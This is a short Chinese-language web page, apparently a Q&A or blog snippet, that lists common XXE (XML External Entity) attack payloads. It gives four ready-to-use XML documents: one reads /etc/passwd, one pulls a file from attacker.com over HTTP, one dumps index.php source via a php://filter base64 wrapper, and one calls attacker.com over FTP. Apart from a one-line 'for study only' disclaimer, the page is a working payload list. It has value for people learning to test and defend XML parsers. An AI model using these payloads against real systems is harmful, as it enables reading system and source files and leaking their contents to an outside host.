xxe的payload
时间: 2024-05-07 15:21:28 浏览: 177
XXE (XML External Entity)攻击是一种利用XML解析器漏洞的攻击方式,可以让攻击者读取任意文件、执行远程请求等。下面是一些常见的XXE攻击载荷:
1. 使用本地文件
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```
2. 使用远程文件
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/xxe.txt" >]>
<foo>&xxe;</foo>
```
3. 使用PHP协议
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>
<foo>&xxe;</foo>
```
4. 使用FTP协议
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "ftp://attacker.com/xxe.txt" >]>
<foo>&xxe;</foo>
```
注意:以上载荷仅供学习和研究使用,请勿用于非法用途。
阅读全文